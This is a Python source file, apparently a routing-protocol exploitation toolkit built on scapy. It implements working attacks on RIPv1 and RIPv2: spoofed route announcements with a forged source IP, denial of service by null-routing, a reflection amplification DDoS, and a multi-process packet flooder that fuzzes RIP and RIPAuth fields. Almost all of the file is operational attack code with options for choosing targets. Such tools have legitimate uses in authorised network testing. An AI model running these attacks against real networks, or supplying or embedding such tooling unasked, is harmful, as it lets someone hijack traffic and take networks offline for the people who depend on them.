#!/usr/bin/python # # Currently implemented attacks: # - sniffer - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings # - ripv1-route - Spoofed RIPv1 Route Announcements # - ripv1-dos - RIPv1 Denial of Service via Null-Routing # - ripv1-ampl - RIPv1 Reflection Amplification DDoS # - ripv2-route - Spoofed RIPv2 Route Announcements # - ripv2-dos - RIPv2 Denial of Service via Null-Routing # - rip-fuzzer - RIPv1/RIPv2 protocol fuzzer, covering RIPAuth and RIPEntry structures fuzzing # # Python requirements: # - scapy # # Mariusz Banach / mgeeky, '19, # import sys import socket import fcntl import struct import string import random import commands import argparse import multiprocessing try: from scapy.all import * except ImportError: print('[!] Scapy required: pip install scapy') sys.exit(1) VERSION = '0.1' config = { 'verbose' : False, 'debug' : False, 'delay' : 1.0, 'interface': None, 'processors' : 8, 'network': '', 'spoof': '', 'nexthop': '', 'netmask': '', 'metric': 0, 'auth-type': '', 'auth-data': '', } attacks = {} stopThreads = False # # =============================================== # def flooder(num, packets): Logger.dbg('Starting task: {}, packets num: {}'.format(num, len(packets))) for p in packets: if stopThreads: break try: if stopThreads: raise KeyboardInterrupt sendp(p, verbose = False) if len(p) < 1500: Logger.dbg("Sent: \n" + str(p)) except KeyboardInterrupt: break except Exception as e: pass Logger.dbg('Stopping task: {}'.format(num)) class Logger: @staticmethod def _out(x): if config['verbose'] or config['debug']: sys.stdout.write(x + '\n') @staticmethod def out(x): Logger._out('[.] ' + x) @staticmethod def info(x): Logger._out('[.] ' + x) @staticmethod def dbg(x): if config['debug']: Logger._out('[dbg] ' + x) @staticmethod def err(x): sys.stdout.write('[!] ' + x + '\n') @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) # Well, not very fuzzy that fuzzer I know. class Fuzzer: @staticmethod def get8bitFuzzes(): out = set() for i in range(9): out.add(2 ** i - 1) out.add(2 ** i - 2) out.add(2 ** i) out.add(2 ** i + 1) #out.add(2 ** i + 2) return [k for k in out if abs(k) < 2**8] @staticmethod def get16bitFuzzes(): out = set() for i in range(17): out.add(2 ** i - 1) out.add(2 ** i - 2) out.add(2 ** i) out.add(2 ** i + 1) #out.add(2 ** i + 2) return [k for k in out if abs(k) < 2**16] @staticmethod def get32bitFuzzes(): out = set() for i in range(33): out.add(2 ** i - 1) out.add(2 ** i - 2) out.add(2 ** i) out.add(2 ** i + 1) #out.add(2 ** i + 2) return [k for k in out if abs(k) < 2**32] @staticmethod def deBrujinPattern(length): if length == 0: return '' if length >= 20280: out = '' out += Fuzzer.deBrujinPattern(20280 - 1) out += "A" * (length - 20280 - 1) return out pattern = '' for upper in string.ascii_uppercase: for lower in string.ascii_lowercase: for digit in string.digits: if len(pattern) < length: pattern += upper + lower + digit else: out = pattern[:length] return out return pattern @staticmethod def getFuzzyStrings(maxLen = -1, allOfThem = True): out = set() for b in Fuzzer.get16bitFuzzes(): out.add(Fuzzer.deBrujinPattern(b)) if allOfThem: for b in range(0, 65400, 256): if maxLen != -1 and b > maxLen: break out.add(Fuzzer.deBrujinPattern(b)) if maxLen != -1: return set([x for x in out if len(x) <= maxLen]) return out @staticmethod def get32bitProblematicPowersOf2(): return Fuzzer.get32bitFuzzes() class RoutingAttack: def __init__(self): pass def injectOptions(self, params, config): pass def launch(self): pass class Sniffer(RoutingAttack): def __init__(self): pass def injectOptions(self, params, config): self.config = config self.config.update(params) def processPacket(pkt): # TODO raise Exception('Not yet implemented.') def launch(self): # TODO raise Exception('Not yet implemented.') def packetCallback(d): self.processPacket(d) try: pkts = sniff( count = 1000, filter = 'udp port 520', timeout = 10.0, prn = packetCallback, iface = self.config['interface'] ) except Exception as e: if 'Network is down' in str(e): pass else: Logger.err('Exception occured during sniffing: {}'.format(str(e))) except KeyboardInterrupt: pass class RIPv1v2Attacks(RoutingAttack): ripAuthTypes = { 'simple' : 2, 'md5' : 3, 'md5authdata': 1 } def __init__(self): self.config = { 'interface' : '', 'delay': 1, 'network' : '', 'metric' : 10, 'netmask' : '255.255.255.0', 'nexthop' : '0.0.0.0', 'spoof' : '', 'version' : 0, } @staticmethod def getRipAuth(config): ripauth = RIPAuth() ripauth.authtype = RIPv1v2Attacks.ripAuthTypes[config['auth-type']] if ripauth.authtype == 2: ripauth.password = config['auth-data'] elif ripauth.authtype == 1: ripauth.authdata = config['auth-data'] elif ripauth.authtype == 3: ripauth.digestoffset = 0 ripauth.keyid = 0 ripauth.authdatalen = len(config['auth-data']) ripauth.seqnum = 0 return ripauth def injectOptions(self, params, config): self.config = config self.config.update(params) Logger.info("Fake Route Announcement to be injected:") Logger.info("\tNetwork: {}".format(config['network'])) Logger.info("\tNetmask: {}".format(config['netmask'])) Logger.info("\tNexthop: {}".format(config['nexthop'])) Logger.info("\tMetric: {}".format(config['metric'])) if not config['network'] or not config['netmask'] \ or not config['nexthop'] or not config['metric']: Logger.err("Module needs following options to operate: network, netmask, nexthop, metric") return False if params['version'] != 1 and params['version'] != 2: Logger.err("RIP protocol version must be either 1 or 2 as passed in attacks params!") return False return True def launch(self): packet = self.getPacket() Logger.info("Sending RIPv{} Spoofed Route Announcements...".format(self.config['version'])) sendp(packet, loop = 1, inter = self.config['delay'], iface = config['interface']) def getPacket(self): networkToAnnounce = self.config['network'] metricToAnnounce = self.config['metric'] netmaskToAnnounce = self.config['netmask'] nexthopToAnnounce = self.config['nexthop'] spoofedIp = self.config['spoof'] etherframe = Ether() # Start definition of Ethernet Frame ip = IP() # IPv4 packet udp = UDP() udp.sport = 520 # According to RFC1058, 520/UDP port must be used for solicited communication udp.dport = 520 rip = RIP() ripentry = RIPEntry() # Announced route ripentry.AF = "IP" # Address Family: IP if 'AF' in self.config.keys(): ripentry.AF = self.config['AF'] ripentry.addr = networkToAnnounce # Spoof route for this network... ripentry.metric = metricToAnnounce if self.config['version'] == 1: ip.dst = '255.255.255.255' # RIPv1 broadcast destination etherframe.dst = 'ff:ff:ff:ff:ff:ff' rip.version = 1 # RIPv1 rip.cmd = 2 # Command: Response elif self.config['version'] == 2: ip.dst = '224.0.0.9' # RIPv2 multicast destination rip.version = 2 # RIPv2 rip.cmd = 2 # Command: Response ripentry.RouteTag = 0 ripentry.mask = netmaskToAnnounce ripentry.nextHop = nexthopToAnnounce # ... to be going through this next hop device. if 'rip_cmd' in self.config.keys(): rip.cmd = self.config['rip_cmd'] if not self.config['auth-type']: rip_packet = etherframe / ip / udp / rip / ripentry else: ripauth = RIPv1v2Attacks.getRipAuth(self.config) Logger.info('Using RIPv2 authentication: type={}, pass="{}"'.format( self.config['auth-type'], self.config['auth-data'] )) rip_packet = etherframe / ip / udp / rip / ripauth / ripentry rip_packet[IP].src = spoofedIp return rip_packet class RIPFuzzer(RoutingAttack): ripCommands = ( 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 ) def __init__(self): self.config = { 'interface' : '', 'network' : '192.168.1.0', 'metric' : 10, 'netmask' : '255.255.255.0', 'nexthop' : '0.0.0.0', 'spoof' : '', } def injectOptions(self, params, config): self.config = config self.params = params return True def launch(self): packets = set() Logger.info("Generating fuzzed packets for RIPv1...") packets.update(self.generateRipv1Packets()) Logger.info("Generating fuzzed packets for RIPv2...") packets.update(self.generateRipv2Packets()) Logger.info("Collected in total {} packets to send. Sending them out...".format(len(packets))) packetsLists = [[] for x in range(self.config['processors'])] packetsList = list(packets) for i in range(len(packetsList)): packetsLists[i % config['processors']].append(packetsList[i]) jobs = [] for i in range(config['processors']): task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i])) jobs.append(task) task.daemon = True task.start() print('[+] Started flooding. Press CTRL-C to stop that.') try: while jobs: jobs = [job for job in jobs if job.is_alive()] except KeyboardInterrupt: stopThreads = True print('\n[>] Stopping...') stopThreads = True time.sleep(3) Logger.ok("Fuzzing finished. Sent around {} packets.".format(len(packets))) def generateRipv1Packets(self): packets = set() base = Ether(dst = 'ff:ff:ff:ff:ff:ff') / IP(dst = '255.255.255.255') / UDP(sport = 520, dport = 520) # Step 1: Fuzz on Command values. for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())): rip = RIP(version = 1, cmd = val) packets.add(base / rip) packets.add(base / rip / RIPEntry() ) # Step 1b: Fuzz on Command values with packet filled up with data for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())): rip = RIP(version = 1, cmd = val) for data in Fuzzer.getFuzzyStrings(): if not data: data = '' packets.add(base / rip / data) packets.add(base / rip / RIPEntry() / data) # Step 2: Fuzz on Response RIPEntry AF values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 1, cmd = 2) packets.add(base / rip / RIPEntry(AF = val) ) # Step 3: Fuzz on Response RIPEntry RouteTag values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 1, cmd = 2) packets.add(base / rip / RIPEntry(RouteTag = val) ) # Step 4: Fuzz on Response RIPEntry metric values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 1, cmd = 2) packets.add(base / rip / RIPEntry(metric = val) ) # Step 5: Add multiple RIPEntry structures for num in Fuzzer.get32bitProblematicPowersOf2(): rip = RIP(version = 1, cmd = 2) entries = [] try: ipv4 = socket.inet_ntoa(struct.pack('!L', num)) except: ipv4 = '127.0.0.2' if (num * 20) > 2 ** 16: break for i in range(num): entries.append(RIPEntry(addr = ipv4)) packets.add(base / rip / ''.join([str(x) for x in entries])) return packets def generateRipv2Packets(self): packets = set() base = Ether() / IP(src = self.config['spoof'], dst = '224.0.0.9') / UDP(sport = 520, dport = 520) # Step 1: Fuzz on Command values. for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())): rip = RIP(version = 2, cmd = val) packets.add(base / rip) packets.add(base / rip / RIPEntry() ) # Step 1b: Fuzz on Command values with packet filled up with data for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())): rip = RIP(version = 2, cmd = val) for data in Fuzzer.getFuzzyStrings(): if not data: data = '' packets.add(base / rip / data) packets.add(base / rip / RIPEntry() / data) # Step 2: Fuzz on Version values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = val, cmd = 1) packets.add(base / rip) packets.add(base / rip / RIPEntry() ) # Step 3: Fuzz on Authentication data values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = val, cmd = 1) for auth in RIPFuzzer.fuzzRipv2Auth(): packets.add(base / rip / auth ) packets.add(base / rip / auth / RIPEntry() ) # Step 4: Fuzz on Response RIPEntry AF values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 2, cmd = 2) packets.add(base / rip / RIPEntry(AF = val) ) # Step 5: Fuzz on Response RIPEntry RouteTag values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 2, cmd = 2) packets.add(base / rip / RIPEntry(RouteTag = val) ) # Step 6: Fuzz on Response RIPEntry metric values. for val in set(Fuzzer.get8bitFuzzes()): rip = RIP(version = 2, cmd = 2) packets.add(base / rip / RIPEntry(metric = val) ) # Step 7: Add multiple RIPEntry structures for num in Fuzzer.get32bitProblematicPowersOf2(): rip = RIP(version = 2, cmd = 2) entries = [] try: ipv4 = socket.inet_ntoa(struct.pack('!L', num)) except: ipv4 = '127.0.0.2' if (num * 20) > 2 ** 16: break for i in range(num): entries.append(RIPEntry(addr = ipv4)) packets.add(base / rip / ''.join([str(x) for x in entries])) return packets @staticmethod def fuzzRipv2Auth(): auths = set() # Step 1: Fuzz on RIPAuth authtype. for val in set(Fuzzer.get8bitFuzzes()): ripauth = RIPAuth() ripauth.authtype = val ripauth.password = '0123456789abcdef' auths.add(ripauth) # Step 2: Fuzz on RIPAuth md5authdata structure's digestoffset. for val in set(Fuzzer.get16bitFuzzes()): ripauth = RIPAuth() ripauth.authtype = 1 ripauth.digestoffset = val ripauth.keyid = 0 ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08' ripauth.seqnum = 0 auths.add(ripauth) # Step 3: Fuzz on RIPAuth md5authdata structure's keyid. for val in set(Fuzzer.get8bitFuzzes()): ripauth = RIPAuth() ripauth.authtype = 1 ripauth.digestoffset = 0 ripauth.keyid = val ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08' ripauth.seqnum = 0 auths.add(ripauth) # Step 4: Fuzz on RIPAuth md5authdata structure's seqnum. for val in set(Fuzzer.get8bitFuzzes()): ripauth = RIPAuth() ripauth.authtype = 1 ripauth.digestoffset = 0 ripauth.keyid = 0 ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08' ripauth.seqnum = val auths.add(ripauth) # Step 5: Fuzz on RIPAuth md5authdata structure's authdatalen. for val in set(Fuzzer.getFuzzyStrings(maxLen = 16, allOfThem = False)): ripauth = RIPAuth() ripauth.authtype = 1 ripauth.digestoffset = 0 ripauth.keyid = 0 ripauth.authdatalen = val ripauth.seqnum = 0 auths.add(ripauth) return auths def getHwAddr(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) return ':'.join(['%02x' % ord(char) for char in info[18:24]]) def getIfaceIP(iface): out = shell("ip addr show " + iface + " | grep 'inet ' | awk '{print $2}' | head -1 | cut -d/ -f1") Logger.dbg('Interface: {} has IP: {}'.format(iface, out)) return out def shell(cmd): out = commands.getstatusoutput(cmd)[1] Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out)) return out def selectDefaultInterface(): global config commands = { 'ip' : "ip route show | grep default | awk '{print $5}' | head -1", 'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1", } for k, v in commands.items(): out = shell(v) if len(out) > 0: Logger.dbg('Default interface lookup command returned:\n{}'.format(out)) config['interface'] = out return out return '' def parseOptions(argv): global config print(''' :: Routing Protocols Exploitation toolkit Sends out various routing protocols management frames Mariusz Banach / mgeeky '19, v{} '''.format(VERSION)) parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]') parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') parser.add_argument('-D', '--debug', action='store_true', help='Display debug output.') parser.add_argument('-d', '--delay', type=float, default=1.0, help='Delay in seconds (float) between sending consecutive packets. Default: 1 second. Not applies to fuzzers.') parser.add_argument('-t', '--attack', metavar='ATTACK', default='', help='Select attack to launch. One can use: "-t list" to list available attacks.') parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.') parser.add_argument('-s', '--spoof', help = 'IP address to be used as a spoofed/fake gateway, e.g. Attacker machine address. By default will try to figure out that address automatically.', default='') auth = parser.add_argument_group('Routing Protocol Authentication', 'Specifies authentication data for Routing protocol to use') auth.add_argument('--auth-type', help = 'Authentication type. Can be one of following: "simple", "md5authdata", "md5". Applies only to authentication-capable protocols, like RIPv2', default='') auth.add_argument('--auth-data', help = 'Password / authentication data to pass in every packet. This field depends on the "--auth-type" used.', default='') route = parser.add_argument_group('Spoofed Route injection', 'Specifies fake route details to inject') route.add_argument('-a', '--network', help = 'IP address of network to announce, can be paired with netmask in CIDR notation. One can use "default" for 0.0.0.0') route.add_argument('-b', '--netmask', help = 'Netmask to use (can be inferred from "--network". Default: /24', default='255.255.255.0') route.add_argument('-c', '--nexthop', help = 'Spoofed next hop address. Default: 0.0.0.0.', default = '0.0.0.0') route.add_argument('-m', '--metric', help = 'Metric to be used. The lower the greater priority it gets. Default: 10', type=int, default='10') args = parser.parse_args() if not 'attack' in args: Logger.err('You must specify an attack to launch!') return False if args.attack == 'list': print("Available attacks:") for a in attacks: print("\t{}. '{}' - {}".format(a['num'], a['name'], a['desc'])) sys.exit(0) else: att = args.attack try: att = int(att) except: pass for a in attacks: if att == a['num'] or att == a['name']: config['attack'] = a break if 'attack' not in config or not config['attack']: Logger.err("Selected attack is not implemented or wrongly stated.") parser.print_help() return False config['verbose'] = args.verbose config['debug'] = args.debug config['delay'] = args.delay if args.interface != '': config['interface'] = args.interface else: config['interface'] = selectDefaultInterface() if args.network != '': config['network'] = args.network if args.spoof != '': config['spoof'] = args.spoof else: config['spoof'] = getIfaceIP(config['interface']) Logger.info("Using {} as local/spoof IP address".format(config['spoof'])) if args.netmask != '': config['netmask'] = args.netmask if args.nexthop != '': config['nexthop'] = args.nexthop if args.metric != '': config['metric'] = args.metric if args.auth_type != '': config['auth-type'] = args.auth_type if args.auth_data != '': config['auth-data'] = args.auth_data if config['auth-type'] != '': if config['auth-data'] == '': Logger.err("You must specify authentication data along with the --auth-type.") return False config['auth-type'] = args.auth_type config['auth-data'] = args.auth_data return args def main(argv): global attacks attacks = ( { 'num': 0, 'name': 'sniffer', 'desc': '(NOT YET IMPLEMENTED) Sniffer hunting for authentication strings.', 'object': Sniffer, 'params': { } }, { 'num': 1, 'name': 'ripv1-route', 'desc': 'RIP Spoofed Route announcement', 'object': RIPv1v2Attacks, 'params': { 'version' : 1, } }, { 'num': 2, 'name': 'ripv1-dos', 'desc': 'RIPv1 Denial of Service by Null-routing', 'object': RIPv1v2Attacks, 'params': { 'version' : 1, 'delay' : 1, 'network': '0.0.0.0', 'metric': 1 } }, { 'num': 3, 'name': 'ripv1-ampl', 'desc': 'RIPv1 Reflection Amplification DDoS', 'object': RIPv1v2Attacks, 'params': { 'version' : 1, 'delay' : 0.5, 'network': '0.0.0.0', 'netmask': '0.0.0.0', 'nexthop': '0.0.0.1', 'metric': 1, 'AF': 0, # Unspecified 'rip_cmd': 1, # Request } }, { 'num': 4, 'name': 'ripv2-route', 'desc': 'RIPv2 Spoofed Route announcement', 'object': RIPv1v2Attacks, 'params': { 'version' : 2, } }, { 'num': 5, 'name': 'ripv2-dos', 'desc': 'RIPv2 Denial of Service by Null-routing', 'object': RIPv1v2Attacks, 'params': { 'version' : 2, 'delay' : 1, 'network': '0.0.0.0', 'netmask': '0.0.0.0', 'nexthop': '0.0.0.1', 'metric': 1 } }, { 'num': 6, 'name': 'rip-fuzzer', 'desc': 'RIP/RIPv2 packets fuzzer', 'object': RIPFuzzer, 'params': { } }, ) opts = parseOptions(argv) if not opts: Logger.err('Options parsing failed.') return False if os.getuid() != 0: Logger.err('This program must be run as root.') return False load_contrib('ospf') load_contrib('eigrp') load_contrib('bgp') attack = config['attack']['object']() print("[+] Launching attack: {}".format(config['attack']['desc'])) if attack.injectOptions(config['attack']['params'], config): attack.launch() else: Logger.err("Module prerequisite options were not passed correctly.") if __name__ == '__main__': main(sys.argv)